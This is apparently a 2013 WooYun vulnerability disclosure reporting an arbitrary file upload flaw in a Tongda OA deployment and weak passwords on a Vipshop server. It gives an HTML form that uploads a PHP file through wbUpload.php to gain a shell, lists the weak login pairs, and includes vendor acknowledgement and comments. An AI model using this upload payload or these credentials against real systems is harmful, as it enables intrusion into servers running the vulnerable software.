当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-041637

漏洞标题：唯品会小礼包（任意文件上传getshell及弱口令）

相关厂商：唯品会

漏洞作者： loli

提交时间：2013-11-01 08:22

修复时间：2013-12-16 08:22

公开时间：2013-12-16 08:22

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-01： 细节已通知厂商并且等待厂商处理中
2013-11-04： 厂商已经确认，细节仅向厂商公开
2013-11-14： 细节向核心白帽子及相关领域专家公开
2013-11-24： 细节向普通白帽子公开
2013-12-04： 细节向实习白帽子公开
2013-12-16： 细节向公众公开

简要描述：

唯品会小礼包（任意文件上传及弱口令）apache采用system账号启动，数据库采用root账号连接。内网额！

详细说明：

1. URL:http://121.***.***.122:8090/
采用的是通达OA系统，存在任意文件上传漏洞；

<form enctype="multipart/form-data" action="http://121.***.***.122:8090//general/vmeet/wbUpload.php?fileName=test.php.111" method="post">
<input type="file" name="Filedata" size="50"><br>
<input type="submit" value="Upload">
</form>


apache采用system账号启动，数据库采用root账号连接。
点到为止，就不继续了。
2.http://121.***.***.122:15698/
存在弱口令：
test 123456
1 123456

漏洞证明：

admin.jpg


root.jpg


31232946503db704633d8dca67f908cef51deb92.jpg

修复方案：

有件事我确实有点看不下去这里说几句：
招聘的时候别动不动就让应聘者去自己网站挖个漏洞考验下，他们花了很多时间和精力去挖
了个高危漏洞提交给你们后，你们又随便找个理由刷掉，作为上市公司这种做法会不会显得很
鸡贼。

版权声明：转载请注明来源 loli@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-11-04 10:00

厂商回复：

感谢提交漏洞

最新状态：

暂无

漏洞评价：

评论

  1. 2013-11-01 10:45 | terrying ( 实习白帽子 | Rank:59 漏洞数:15 | 雅蠛蝶)

    表示，呵呵~

  2. 2013-11-01 11:21 | icysun ( 实习白帽子 | Rank:31 漏洞数:6 | 求围观)

    JJ FLY

  3. 2013-12-16 08:58 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    @小胖胖要减肥 哈哈，你看看哈哈

  4. 2013-12-16 10:07 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @zzR @我干嘛啊

  5. 2014-08-13 17:20 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

    @小胖胖要减肥 哈哈哈 看看看看！

  6. 2014-08-13 17:47 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @疯子 擦 别起哄 你的那个真没看到